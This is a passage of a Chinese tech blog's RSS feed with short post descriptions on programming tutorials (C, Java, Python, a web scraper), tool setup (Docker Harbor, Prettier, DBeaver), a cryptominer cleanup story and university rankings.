这个压缩包就是我下载到本地的前端源码。可以进行二次开发！&#xA;我们再来看一下由iVX生成的vue前端源码，需要做什么调整我们直接在该文件中进行增删即可。可能会有人疑惑id为什么都像那么长，我个人估计iVX那边在生成的时候，使用的是类似MD5或者随机生成的字符串。不过想要改也容易，现在的IDE功能都很强大，支持多个相同的字符串同时删改。vscode的快捷键好像是ctrl+d，IDEA的快捷键是shift+f6，改起来也非常方便。最主要的是用iVX生成的代码省心，不需要一个个敲代码了，妥妥的提升效率的神器。&#xA;最重要的是对于我这种小厂出身的程序员，要既当爹又当妈的，除了后台还要写前端的人而言，更是个不可缺少的辅助工具。人啊，还是那句话，世界上的知识是学不完的，但人的生命是有限的。只要能够完成我们手头的工作，完成老板布置的任务，其余时间用来健健身不香吗？程序员本就是一个经常面对电脑不怎么活动的。能有时间多运动运动就多活动活动，对自己是有益的。&#xA;还有要告诉大家的是，iVX的官方后续会对这个平台的非核心部分进行开源，目前还没有放出来，后续大家会搜索到iVX的仓库。到时候，那可真的是让我们用着放心，用着称心，有什么不爽的，我们程序员自己就可以改！最后回到主题，在编程这个领域逝去的技术太多了，而能够真正的四两拨千斤的工具才是我们真正需要的。iVX，值得你拥有。</description>
    </item>
    <item>
      <title>如何制作网页 ico</title>
      <link>https://bchobby.github.io/posts/d4751a7425d54dd4291ee43230e32cff/</link>
      <pubDate>Mon, 09 Oct 2023 19:41:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4751a7425d54dd4291ee43230e32cff/</guid>
      <description>1. 制作 icon 可以通过 https://www.iconfont.cn/collections/detail?spm=a313x.7781069.1998910419.de12df413&amp;amp;cid=13720&#xA;或者自己在 PPT 制作，然后截图导出png 文件。&#xA;2. 转换为 ico 文件 使用：https://www.bitbug.net/&#xA;上传并且转换成自己要的规格的 ico 文件即可。</description>
    </item>
    <item>
      <title>【C语言进阶】 菱形图案打印、水仙花数、买汽水</title>
      <link>https://bchobby.github.io/posts/94af4e41a03c7b76ea7dff9e09332d59/</link>
      <pubDate>Mon, 09 Oct 2023 18:40:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94af4e41a03c7b76ea7dff9e09332d59/</guid>
      <description>目录&#xA;菱形图案打印&#xA;上三角 下三角&#xA;拓展：带空格直角三角形图案&#xA;代码一&#xA;代码二&#xA;水仙花数&#xA;拓展：变种水仙花数&#xA;买汽水&#xA;代码一&#xA;代码二&#xA;妙用汽水瓶&#xA;菱形图案打印 题目要求&#xA;其实呢这道题很多人想到直接用printf()进行输出，我想说的是，这样写不但麻烦、代码难看，而且实用性极低，所以当我们遇到这种类似循环输出题目是，不建议printf()输出；&#xA;接下来我就为大家简单介绍一下此题的做法，对于这类型的题其实我们只需要找到规律，就非常简单，仔细观察图形，可以发现，此图形中是由空格和*按照不同个数的输出组成的。我们这里将这个图案分为两个部分从上往下，按照2*(line-1-i)-1的方式减少，其中：line表示总共有多少行 按照上述方式，将上三角和下三角中的空格和*分别输出即可。 上三角 上三角：先输出空格，后输出*，每行中 空格：从上往下，一行减少一个 *：2*i+1的方式递增 代码实现如下&#xA;int main() { int line = 0; int i = 0; scanf(&#34;%d&#34;, &amp;amp;line);//可自己选择打印图案的大小 //打印上半部分 for(i=0; i&amp;lt;line; i++) { //打印一行 //打印空格 int j = 0; for(j=0; j&amp;lt;line-1-i; j++) { printf(&#34; &#34;); } //打印* for(j=0; j&amp;lt;2*i+1; j++) { printf(&#34;*&#34;); } printf(&#34;\n&#34;); } 下三角 下三角：先输出空格，后输出*，每行中 空格：从上往下，每行多一个空格 代码实现如下&#xA;//打印下半部分 for(i=0; i&amp;lt;line-1; i++) { //打印一行 int j = 0; for(j=0; j&amp;lt;=i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>低电压穿越仿真分析LVRT-Simulink</title>
      <link>https://bchobby.github.io/posts/844f67d59f98baf204cbf117ed90bb47/</link>
      <pubDate>Mon, 09 Oct 2023 17:38:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844f67d59f98baf204cbf117ed90bb47/</guid>
      <description> 1.低电压穿越的意义 低电压穿越（LVRT）是指当电力系统事故或扰动引起光伏电站并网点的电压跌落时，在一定电压跌落范围和时间间隔内，光伏电站能够保证不脱网连续运行，避免电网故障的扩大化，同时光伏并网逆变器需要能够发出一定的有功和无功功率，以支撑电网恢复；&#xA;低电压穿越主要的理论依据是电网遭受雷击等事故时，只是瞬时跌落，这个时候要求发电机不能够马上脱网，而要支撑一段时间，等事故结束后，迅速恢复并网。这能够有效防止电网由于偶发事故（如雷击）崩溃；&#xA;低电压穿越（LVRT）标准最早见于是德国的中压并网（BDEW）标准，各国标准都是参考德国标准而制定；&#xA;电网电压跌落到0，称为零电压穿越，中国和德国的标准当前都要求达到零电压穿越；&#xA;发无功的意义： 电网实际上可以认为是由无数的同步电机并联得到，发电机的激磁电流方向与逆变器的容性无功方向相同， 逆变器在低压穿越时发容性无功，能够增加发电机的激磁电流，因而能够帮助电网上其他的同步电机快速的恢复。 参考自 逆变器名词—低电压穿越 (huawei.com)&#xA;2.低电压穿越的要求 GB/T 34120-2017《电化学储能系统储能变流器技术规范》规定：&#xA;电力系统发生故障时，若并网点考核电压全部在储能变流器低电压穿越要求的电压轮廓线及以上的区域内时，如图3所示，储能变流器应保证不脱网连续运行；否则，允许储能变流器切出。储能变流器低电压穿越具体要求如下:&#xA;储能变流器并网点电压跌至0 时，储能变流器能够保证不脱网连续运行 0.15 s；&#xA;储能变流器并网点电压跌至曲线 1以下时，储能变流器可以从电网切出；&#xA;对电力系统故障期间没有切出的储能变流器，其有功功率在故障清除后应能快速恢复，自故障清除时刻开始，以至少 30%额定功率/秒的功率变化率恢复至故障前的值。&#xA;动态无功支撑能力&#xA;当电力系统发生短路故障引起电压路落时，电化学储能系统储能变流器注入电网的动态无功电流应满足以下要求：&#xA;自并网点电压跌落的时刻起，动态无功电流的响应时间应不大于 30 ms。&#xA;自动态无功电流响应起直到电压恢复至 0.85(p.u.)期间，储能变流器注入电力系统的动态无自动态无功电流应实时跟踪并网点电压变化，并应满足：&#xA;式中:&#xA;UT——储能变流器并网点电压标幺值；IN——储能变流器额定电流。 3.低电压穿越的仿真 4.低电压穿越的结果 5%对称跌落 40%对称跌落 </description>
    </item>
    <item>
      <title>dbeaver批量导出数据到另一个数据库</title>
      <link>https://bchobby.github.io/posts/10f6fd04a4e0bbd874c5c1b1da6d4f37/</link>
      <pubDate>Mon, 09 Oct 2023 17:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f6fd04a4e0bbd874c5c1b1da6d4f37/</guid>
      <description>一、背景 在实际生产环境中我们通常往往需要进行数据迁移或者数据备份，接下来我将模拟生产环境进行数据迁移&#xA;二、问题现状 1、现在我有两个数据库一个数据库名为ceshi1 另一个数据库名为ceshi2&#xA;2、现在我的ceshi1里面有两张表三条数据，我想把这两张表迁移到ceshi2中 迁移后数据结构和大小不变&#xA;ceshi1表如下：&#xA;ceshi2表如下：&#xA;我们可以清楚的看到ceshi2数据库一张表和一条数据都没有，而我们现在要做的就是把这ceshi1中的表和数据迁移到ceshi2中&#xA;三、问题解决 1、我们先选中第一张表然后按住ctrl在选中其他的表（按住ctrl可以选中多表）&#xA;2、右键选择导出数据然后下一步&#xA;3、选择导出数据的目标数据库继续下一步&#xA;4、这里一定要注意你的源地址和目标数据库是否正确，如果源和目标弄反了会出生产事故（重点）&#xA;5、点击继续之后我们再来看ceshi2数据库数据是否导入成功&#xA;最后我们可以清楚的看到数据已经导入到ceshi2数据库并且表和数据条数都能对上&#xA;值得注意的是一定要注意源目和目标这两个概率&#xA;源：是指你要从那台数据库拿数据&#xA;目标：是指你要把数据放到那台数据库去&#xA;此方法建议在数据迁移过程中目标表为空且数据表不大的情况下进行</description>
    </item>
    <item>
      <title>禁用Chrome自动更新</title>
      <link>https://bchobby.github.io/posts/b25d8e6e393eece4e497ac7ed765e959/</link>
      <pubDate>Mon, 09 Oct 2023 15:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b25d8e6e393eece4e497ac7ed765e959/</guid>
      <description>chrome浏览器会强制用户自动更新，每次点击关于google时，会自动检测更新并下载，非常不好&#xA;1. 进入%userprofile%\AppData\Local\Google文件夹&#xA;2. 找到其中的Update文件夹，右键属性-安全，将所有组/用户的权限设置为拒绝即可&#xA;无法更新</description>
    </item>
    <item>
      <title>前端面试“八股文”</title>
      <link>https://bchobby.github.io/posts/d53bb573e7dc255beed19b3684860331/</link>
      <pubDate>Mon, 09 Oct 2023 15:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d53bb573e7dc255beed19b3684860331/</guid>
      <description>&#34;前端八股文&#34;通常指的是前端面试中被频繁提及的一些核心知识点。这些知识点覆盖了前端开发中的基础技能、常见算法、框架使用等方面。以下是一个简要的前端八股文概述：&#xA;1. HTML/CSS 基础 HTML标签语义化CSS盒模型CSS布局（Flexbox 和 Grid）响应式设计和媒体查询 2. JavaScript 基础 原型和原型链闭包和作用域面向对象编程异步编程（Callback、Promise、Async/Await） 3. ES6+ 新特性 箭头函数解构赋值let 和 const模板字符串 4. 浏览器和网络 浏览器渲染过程HTTP协议跨域问题及解决方案状态码的含义 5. 前端框架 React/Vue/Angular 的基本使用和区别组件化思想路由管理状态管理（Redux/Vuex） 6. 前端工程化 模块化开发（CommonJS/ES6 Module）打包工具（Webpack）包管理工具（npm/yarn）版本控制（Git） 7. 算法和数据结构 排序算法（快速排序、归并排序）链表和树的基本操作哈希表的原理和应用动态规划和贪心算法 8. 性能优化 页面加载优化（懒加载、预加载）前端缓存策略减少 HTTP 请求次数使用 Web Workers 进行多线程处理 以上八股文中的知识点并非一成不变，随着前端技术的发展，可能会有一些变化。然而，这些基础知识点是前端开发者在面试和实际工作中需要熟练掌握的基础，也是构建更高级、更复杂应用的基石。在学习的过程中，实践和项目经验同样重要，能够更好地巩固和运用所学知识。</description>
    </item>
    <item>
      <title>【记录一次服务器被黑的经历】</title>
      <link>https://bchobby.github.io/posts/dae69d7fee48a575c1d2d2ba9bd803e5/</link>
      <pubDate>Mon, 09 Oct 2023 14:43:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae69d7fee48a575c1d2d2ba9bd803e5/</guid>
      <description>记录一次服务器被黑的经历 一.事情背景 事情背景是这样的：早上云服务器疯狂给我发消息，告诉我服务器有恶意文件。之后登录上去一看，发现服务器被人挖矿了。&#xA;使用top命令进行查看：发现cpu占满了（我的是4核的，这里发现4个核几乎都沾满了）。&#xA;二.先看结果 1. 发现这个文件是ll这个用户（的，之后就去查看服务器的根目录，发现多了一个目录tmp. 2.发现这个目录中有一些文件，其中就包括ll这个用户和它破解掉的密码。 3. 查询最近这个账号登录的ip地址，发现一个异常的ip地址。来自于新加坡，确定被黑无疑。 三.解决办法 解决思路：先干掉这个程序，之后删除这个脚本，删除定时任务。 1.第一步先kill掉这个任务。删除tmp这个目录以及源程序。 2.删除定时任务及文件 杀掉之后发现服务器过一段时间之后会进行重新启动这个挖矿软件。我们进行使用crontab-l查看当前用户的定时任务。（一般情况使用crontab -l是看不到的挖矿的程序，需要查看/etc/crontab）&#xA;这里使用crontab -l发现了定时任务和程序脚本的位置，先把定时任务进行删除，之后分别把这个脚本进行删除。&#xA;四。后续&#xA;之后没有发现cpu资源占用过高，问题是初步解决了。&#xA;注意事项：不要使用弱密码，很容易被攻破！</description>
    </item>
    <item>
      <title>Python 的字符串</title>
      <link>https://bchobby.github.io/posts/6936de06807b5a3a35222da8243ef89d/</link>
      <pubDate>Sun, 08 Oct 2023 22:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6936de06807b5a3a35222da8243ef89d/</guid>
      <description>文章目录 字符串内部包含引号的方法使用方法改变字符串中字母的大小写在字符串中使用变量在字符串中添加空白删除字符串中的空白 字符串内部包含引号的方法 Python 的字符串可以用单引号或者双引号括起来，这种灵活性方便你在字符串中包含引号或者撇号。&#xA;&#39;I told my friend, &#34;Python is good.&#34;&#39; &#34;The language &#39;Python&#39; is good.&#34; &#34;One of Python&#39;s strengths is its diverse and supportive community.&#34; 使用方法改变字符串中字母的大小写 方法 title() 以首字母大写的方式显示每一个单词，即每个单词的首字母都改为大写。程序示例：&#xA;name = &#34;tom ken&#34; print(name) print(name.title()) 结果：&#xA;tom ken Tom Ken 方法 upper() 将每个字母都改为大写。程序示例：&#xA;name = &#34;tom ken&#34; print(name) print(name.upper()) 结果：&#xA;tom ken TOM KEN 方法 lower() 将每个字母都改为大写。程序示例：&#xA;name = &#34;Tom Ken&#34; print(name) print(name.lower()) 结果：&#xA;Tom Ken tom ken 在字符串中使用变量 要在字符串中插入变量的值, 可以使用 f字符串, 即在引号前面加上字母 f, 再将需要插入的变量放在花括号内.</description>
    </item>
    <item>
      <title>【Docker】简易版harbor部署</title>
      <link>https://bchobby.github.io/posts/204770124a3341b6cb59964ab9a6c75e/</link>
      <pubDate>Sun, 08 Oct 2023 22:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/204770124a3341b6cb59964ab9a6c75e/</guid>
      <description>文章目录 依赖于docker-compose下载添加执行权限测试 安装harbor下载解压修改配置文件部署配置开机自启动登录验证 使用harbor登录打标签上传下载 常见问题 依赖于docker-compose 下载 curl -L “https://github.com/docker/compose/releases/download/2.22.0/docker-compose- ( u n a m e − s ) − (uname -s)- (uname−s)−(uname -m)” -o/usr/local/bin/docker-compose&#xA;添加执行权限 chmod +x /usr/local/bin/docker-compose&#xA;测试 docker-compose --version&#xA;安装harbor 下载 wget https://github.com/goharbor/harbor/releases/download/v2.8.4/harbor-offline-installer-v2.8.4.tgz&#xA;解压 tar -zxvf harbor-offline-installer-v2.8.4.tgz&#xA;修改配置文件 cd harbor &amp;amp; cp harbor.yml.tmpl harbor.yml &amp;amp; vi harbor.yml&#xA;部署 ./install.sh&#xA;配置开机自启动 docker-compose -f docker-compose.yml up -d&#xA;登录验证 使用harbor 登录 docker login 192.168.19.102:8000&#xA;打标签 docker tag {image name}:{tag} {harbor ip}:{port}/{harbor project}/{image name}:{tag} # eg docker tag apache-doris:1.</description>
    </item>
    <item>
      <title>电商项目之如何扣减库存</title>
      <link>https://bchobby.github.io/posts/d60014b509cf8242faac3a05937e1f46/</link>
      <pubDate>Sun, 08 Oct 2023 21:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d60014b509cf8242faac3a05937e1f46/</guid>
      <description>文章目录 1 问题背景2 前言3 扣减库存的三种方案3.1 下单减库存3.2 付款减库存3.3 预扣库存 4 如何解决恶意买家下单的问题4.1 限制用户下单的数量4.2 标识恶意买家 5 实战：具体实现思路 1 问题背景 今天研究一下亿级流量的电商网站是怎么扣减库存&#xA;参考自：浅析「扣减库存」的方案设计&#xA;2 前言 本文旨在阐述生产环境如何在高并发的场景下可靠地扣减库存，有其他解决方案的伙伴可以在评论中分享出来。&#xA;3 扣减库存的三种方案 常规的支付链路是下单-&amp;gt;创建订单-&amp;gt;支付&#xA;3.1 下单减库存 用户下单时减库存&#xA;优点：实时扣减库存，避免支付时因库存不足减库存的问题&#xA;缺点：恶意买家大量下单，但不付款，导致真正想买的人买不到&#xA;3.2 付款减库存 下单时不会立即减库存，而是等到支付时才会减库存&#xA;优点：防止恶意买家大量下用光库存，避免下单扣库存的缺点&#xA;缺点：下单页面不是最新的库存，假如支付的订单数超过库存数，则支付失败&#xA;3.3 预扣库存 下单后预扣库存，超过一定时间后，库存释放。若超过时间后再支付，如果没有库存，则支付失败&#xA;优点：实时减库存，缓解恶意买家大量下单的问题，超过一定时间未支付则释放库存&#xA;缺点：在一定时间内，恶意买家大量下单仍可以将库存用完。&#xA;4 如何解决恶意买家下单的问题 在库存方面有恶意买家下单占用库存的问题，也会有恶意买家下单后拒付的问题，这种拒付会提高卖家收款账号被风控的概率。因此无论是在库存方面还是在支付方面，都需要解决恶意买家下单的问题&#xA;4.1 限制用户下单的数量 优点：限制恶意买家下单&#xA;缺点：非恶意买家会被限制下单，销量会降低&#xA;4.2 标识恶意买家 通过历史订单的情况、买家设备指纹（user_agent等），来标识恶意买家。缺点是可能存在误标。&#xA;5 实战：具体实现思路 商品的库存用Redis的hash结构存起来，通过incrby指令加减库存；扣减库存时，采用预扣库存的思路，先扣减Redis中的库存，剩余库存的数量大于0，表明预扣成功，否则回滚库存（Redis要回滚库存，然后抛异常，不持久化数据库库存）；如果Redis预扣库存成功，则持久化库存到数据库，否则抛异常。更新数据库的库存时，直接使用update语句update t_sku_inventory set inventory = inventory + quantity where id = xxx; 流程图如下图所示：</description>
    </item>
    <item>
      <title>Java笔记八（instanceof，类型转换，static详解，抽象类，接口，内部类以及异常）</title>
      <link>https://bchobby.github.io/posts/377733ca2eacf65aea73e8b0e110471b/</link>
      <pubDate>Sun, 08 Oct 2023 20:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/377733ca2eacf65aea73e8b0e110471b/</guid>
      <description>instanceof 引用类型，判断一个对象是什么类型&#xA;使用方法：&#xA;System.out.println（X instanceof Y）；&#xA;代码理解：&#xA;public class Application { public static void main(String[] args) { //Obiect&amp;gt;String //Obiect&amp;gt;Person&amp;gt;Teacher //Obiect&amp;gt;Person&amp;gt;Student Object object=new Student(); System.out.println(object instanceof Student); System.out.println(object instanceof Person); System.out.println(object instanceof Object); System.out.println(object instanceof Teacher); System.out.println(object instanceof String); System.out.println(&#34;==========================&#34;); Person person=new Student(); System.out.println(person instanceof Student); System.out.println(person instanceof Person); System.out.println(person instanceof Object); System.out.println(person instanceof Teacher); //System.out.println(person instanceof String);编译报错 System.out.println(&#34;=========================&#34;); Student student=new Student(); System.out.println(student instanceof Student); System.out.println(student instanceof Person); System.out.println(student instanceof Object); /*System.</description>
    </item>
    <item>
      <title>python爬虫实战——小说爬取</title>
      <link>https://bchobby.github.io/posts/e0af1939a6059e72394d2e761223ac89/</link>
      <pubDate>Sun, 08 Oct 2023 19:29:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0af1939a6059e72394d2e761223ac89/</guid>
      <description>python爬虫实战——小说爬取 基于requests库和lxml库编写的爬虫，目标小说网站域名http://www.365kk.cc/，类似的小说网站殊途同归，均可采用本文方法爬取。&#xA;目标网站：传送门&#xA;本文的目标书籍：《我的师兄实在太稳健了》&#xA;“渡劫只有九成八的把握，和送死有什么区别？”&#xA;基本思路 网络爬虫的工作实际上主要分为三个部分：&#xA;获取网页内容，通过requests库实现；解析网页内容，得到其中我们想要的部分，通过lxml库实现；将解析出的内容储存到文本文档中； 接下来看看我们的需求是什么：&#xA;获取目标书籍的基本信息，包括书籍的书名、作者、最近更新时间和简介——这些信息应该都在同一个页面中获取，即目标书籍的主页；&#xA;获取目标书籍每一章节的标题和内容——不同章节在不同的页面，不同页面之间可以通过下一页按序跳转；&#xA;正文部分的存储格式应便于阅读，不能把所有文字都堆积在一起，也不能包括除了正文之外的其他无关内容；&#xA;因此，我们首先尝试请求书籍的主页，获取基本信息，借此学习请求和解析网页内容的基本方法；紧接着再从书籍的第一章开始，不断地请求“下一页”，直到爬取所有内容，并将它们以合适的格式储存在文本文档中。&#xA;首页爬取与解析 首页链接：http://www.365kk.cc/255/255036/&#xA;目标内容在网页中的位置 首先，我们观察一下该网站不同的书籍主页：&#xA;可以看出：不同书籍的主页具有非常相似的结构——标题、作者、最近更新时间、最新章节和正文都在相同的位置上。&#xA;如何表征这一位置？这就需要借助python爬虫中常用的网页解析方法——XPath语法。&#xA;以书名为例，在你的浏览器（以Google Chrome为例）中选中书名，点击右键 -&amp;gt; 检查：&#xA;可以看出，浏览器下方弹出了一个窗口，这里显示的就是该页面的源代码，我们选中的内容位于一个&amp;lt;h1&amp;gt;标签中。我们点击右键 -&amp;gt; 复制 -&amp;gt; 复制 XPath，即可得到书名的XPath路径，也就是书名在网页中的位置。&#xA;从书籍的首页中，我们需要获取的信息主要包括：&#xA;书名作者最后更新时间简介 按照上述方法，分别获取它们的XPath路径，依次如下：&#xA;/html/body/div[4]/div[1]/div/div/div[2]/div[1]/h1/text() /html/body/div[4]/div[1]/div/div/div[2]/div[1]/div/p[1]/text() /html/body/div[4]/div[1]/div/div/div[2]/div[1]/div/p[5]/text() /html/body/div[4]/div[1]/div/div/div[2]/div[2]/text() /text() 表示获取文本&#xA;现在，我们得到了想要的内容在网页中的位置，只要请求到网页内容，就可以获取指定位置的内容了。&#xA;请求网页内容 我们使用比较基础的python爬虫网页请求方法：使用 requests 库直接请求。&#xA;这里涉及到了简单的反爬虫知识：在请求网页时，我们需要将我们的爬虫伪装成浏览器，具体通过添加请求头 headers 实现。&#xA;请求头以字典的形式创建，可以包括很多内容，这里只设置四个字段：User-Agent, Cookie, Host 和 Conection。&#xA;headers= { &#39;User-Agent&#39;: &#39;...&#39;, # 你的浏览器User-Agent &#39;Cookie&#39;: &#39;...&#39;, # 你的浏览器Cookie &#39;Host&#39;: &#39;www.365kk.cc&#39;, &#39;Connection&#39;: &#39;keep-alive&#39; } 既然是为了伪装成浏览器，相关字段的内容当然要从浏览器中获取。&#xA;在刚才打开的页面中，我们点击 网络（英文版是Network），刷新页面，找到其中的第一个文件 255036/ ，打开 标头 -&amp;gt; 请求标头 ，即可得到我们想要的字段数据，如下图所示。</description>
    </item>
    <item>
      <title>SqlServer删除作业报错</title>
      <link>https://bchobby.github.io/posts/3bfc84be0185e2df3112150bc6e2cd23/</link>
      <pubDate>Sun, 08 Oct 2023 17:21:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bfc84be0185e2df3112150bc6e2cd23/</guid>
      <description>标题: Microsoft SQL Server Management Studio&#xA;------------------------------&#xA;删除 对于 Job“完整备份.Subplan_1”失败。 (Microsoft.SqlServer.Smo)&#xA;有关帮助信息，请单击: http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&amp;amp;ProdVer=10.50.6000.34+((KJ_SP3).140819-1214+)&amp;amp;EvtSrc=Microsoft.SqlServer.Management.Smo.ExceptionTemplates.FailedOperationExceptionText&amp;amp;EvtID=删除+Job&amp;amp;LinkId=20476&#xA;------------------------------&#xA;其他信息:&#xA;执行 Transact-SQL 语句或批处理时发生了异常。 (Microsoft.SqlServer.ConnectionInfo)&#xA;------------------------------&#xA;DELETE 语句与 REFERENCE 约束&#34;FK_subplan_job_id&#34;冲突。该冲突发生于数据库&#34;msdb&#34;，表&#34;dbo.sysmaintplan_subplans&#34;, column &#39;job_id&#39;。&#xA;语句已终止。 (Microsoft SQL Server，错误: 547)&#xA;有关帮助信息，请单击: http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&amp;amp;ProdVer=10.50.6000&amp;amp;EvtSrc=MSSQLServer&amp;amp;EvtID=547&amp;amp;LinkId=20476&#xA;解决方案：&#xA;use [msdb]&#xA;declare @job_name varchar(100)&#xA;set @job_name = N&#39;jobName&#39;&#xA;--注：jobName为维护计划对应的jobName&#xA;--删除在计划里面的日志 delete sysmaintplan_log from sysmaintplan_subplans as subplans&#xA;inner join sysjobs_view as syjobs on subplans.job_id = syjobs.job_id&#xA;inner join sysmaintplan_log on subplans.subplan_id =sysmaintplan_log.subplan_id&#xA;where (syjobs.name = @job_name)</description>
    </item>
    <item>
      <title>VS Code中格式化插件Prettier-Code Formatter配置安装</title>
      <link>https://bchobby.github.io/posts/57601988d4dbd96093a3a807f4799d22/</link>
      <pubDate>Sun, 08 Oct 2023 16:07:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57601988d4dbd96093a3a807f4799d22/</guid>
      <description>第一步：点击扩展，搜索Prettier，Prettier块右下角会显示安装字样，点击安装。&#xA;第二步：点击左下角的设置图标，然后点击设置字样。&#xA;第三步：在弹出的界面上方输入settings,然后点击蓝色字体【在settings.json中编辑】这里会显示多个，点击哪个都行。&#xA;第四步：在界面输入以下代码&#xA;/* prettier的配置 */ &#34;prettier.printWidth&#34;: 100, // 超过最大值换行 &#34;prettier.tabWidth&#34;: 4, // 缩进字节数 &#34;prettier.useTabs&#34;: false, // 缩进不使用tab，使用空格 &#34;prettier.semi&#34;: true, // 句尾添加分号 &#34;prettier.singleQuote&#34;: true, // 使用单引号代替双引号 &#34;prettier.proseWrap&#34;: &#34;preserve&#34;, // 默认值。因为使用了一些折行敏感型的渲染器（如GitHub comment）而按照markdown文本样式进行折行 &#34;prettier.arrowParens&#34;: &#34;avoid&#34;, // (x) =&amp;gt; {} 箭头函数参数只有一个时是否要有小括号。avoid：省略括号 &#34;prettier.bracketSpacing&#34;: true, // 在对象，数组括号与文字之间加空格 &#34;{ foo: bar }&#34; &#34;prettier.disableLanguages&#34;: [&#34;vue&#34;], // 不格式化vue文件，vue文件的格式化单独设置 &#34;prettier.endOfLine&#34;: &#34;auto&#34;, // 结尾是 \n \r \n\r auto &#34;prettier.eslintIntegration&#34;: false, //不让prettier使用eslint的代码格式进行校验 &#34;prettier.htmlWhitespaceSensitivity&#34;: &#34;ignore&#34;, &#34;prettier.ignorePath&#34;: &#34;.prettierignore&#34;, // 不使用prettier格式化的文件填写在项目的.prettierignore文件中 &#34;prettier.jsxBracketSameLine&#34;: false, // 在jsx中把&#39;&amp;gt;&#39; 是否单独放一行 &#34;</description>
    </item>
    <item>
      <title>APP 备案公钥、签名 MD5获取方法。</title>
      <link>https://bchobby.github.io/posts/04426f32a1ec3a8de6fc52f16f10bbe3/</link>
      <pubDate>Sun, 08 Oct 2023 15:01:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04426f32a1ec3a8de6fc52f16f10bbe3/</guid>
      <description>一、IOS 系统获取 Bundle ID、平台公钥、签名 MD5 值的指引&#xA;获取 Bundle ID：使用 APP 对应的 IOS 开发者账号登录 Developer 控制台，找到下图标识符（英文），单击进入 Certificates,Identifiers&amp;amp;Profiles 页面。 在 Certificates,Identifiers&amp;amp;Profiles 页面，单击 Identifiers，其中 IDENTIFIER 列对应的就是 Bundle ID。如下图所示： 获取公钥与签名 SHA1 值：在计划资源中，单击证书（英文），进入 Certificates 页面。 在 Certificates 页面，可查看证书详情，并下载 APP 对应的证书。 window系统双击打开.cer证书文件在详细信息页面即可查看公共密钥以及sha1指纹</description>
    </item>
    <item>
      <title>重磅！2024泰晤士世界大学排名发布！</title>
      <link>https://bchobby.github.io/posts/ddd34aa3d1e6dd9d35e1d3f5308046ee/</link>
      <pubDate>Sun, 08 Oct 2023 14:56:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd34aa3d1e6dd9d35e1d3f5308046ee/</guid>
      <description>来源：硕博情报局&#xA;编辑：研路科研人Sci&#xA;“研路漫漫，伴你同行”&#xA;北京时间2023年9月27日，全球高等教育研究机构泰晤士发布了2024年世界大学排名。&#xA;作为留学风向标之一的泰晤士，此次排行榜的绩效指标分为5个方面，分别为：教学、研究环境、研究质量、国际展望和产业。&#xA;整体排名情况来看，牛津大学大学位列榜首，斯坦福排在第二，麻省理工和哈佛大学紧跟其后，剑桥从第二滑到了第五。&#xA;普林斯顿排在第六，加州理工大学位列第七，帝国理工排在第八名，加州伯克利则在第九名，耶鲁大学是第10名。&#xA;芝加哥大学再次掉出美国前十阵容...（真·回不去了）&#xA;在本次排名中，清华大学亚洲排名第一，也是中国大陆高校表现最好的高校(第12位)，北京大学紧随其后，位列世界第14位，再次力压宾大、哥大、UCLA、康奈尔大学等一众美国名校。&#xA;接下来我们来看看前200的排名榜单吧！ 2023年THE世界大学排名Top200&#xA;对比QS、US News、ARWU&#xA;泰晤士的排名规则有何不同&#xA;众所周知，全球四大高校排行榜分别是：QS世界大学排名、US News世界大学排名、THE世界大学排名、ARWU世界大学学术排名，不同排名的指标，即排名依据自然不同。&#xA;今年6月，QS率先发布了2023年世界大学排名，美国方面继续强势，MIT继续创造历史，连续12年稳坐QS综排霸主，地位无人能敌。&#xA;哈佛大学排名第4，斯坦福紧跟其后，加州伯克利和康奈尔太给力了，前者从去年的27名冲到Top10，后者直接从20名前进至12名！&#xA;加州理工和耶鲁大学并列15名，公立大校——加州洛杉矶终于冲进Top30！&#xA;剑桥大学依旧稳坐英国第一宝座，它的身后分别是排在第三的牛津大学、第六的帝国理工和第九的伦敦大学学院。&#xA;曼彻斯特大学跌出前30，排在了第32名（心碎2024）&#xA;澳洲大学排名震惊主页君！集体携手冲冲冲！&#xA;曾经的新南威尔士大学排名在40名开外，如今摇身一变，和悉尼大学并列冲进Top20！&#xA;墨尔本大学从33名跑到了第14名！&#xA;狂欢吧！澳洲留学生们！母校比我还争气系列。&#xA;今年亚洲地区的排名也很有看头。&#xA;新加坡国立大学居然排在了第八名！&#xA;北大和普林斯顿并列17名，清华大学在第25名。&#xA;除此之外，上个月，软科也正式发布了“世界大学学术排名”，又是美国大学霸榜的一年！&#xA;Top100中，美国上榜了38所高校，占据了差不多40%的名额。&#xA;在今年的排名中，哈佛大学仍然稳坐头把交椅，连续21年蝉联全球第一，斯坦福大学和麻省理工大学紧随其后，继续名列二到三位。&#xA;加州伯克利排在了第五名，普林斯顿紧跟其后，第八、第九、第十分别是哥大、加州理工和芝加哥大学，而耶鲁则被挤到了第11名。&#xA;而软科的排名依据，几乎都围绕学术科研这一项来进行评估。就比如非常看重校友、教职员工获得诺奖的人数，以及在 Nature 和 Science 期刊上发表的文章数量等等。&#xA;至于US 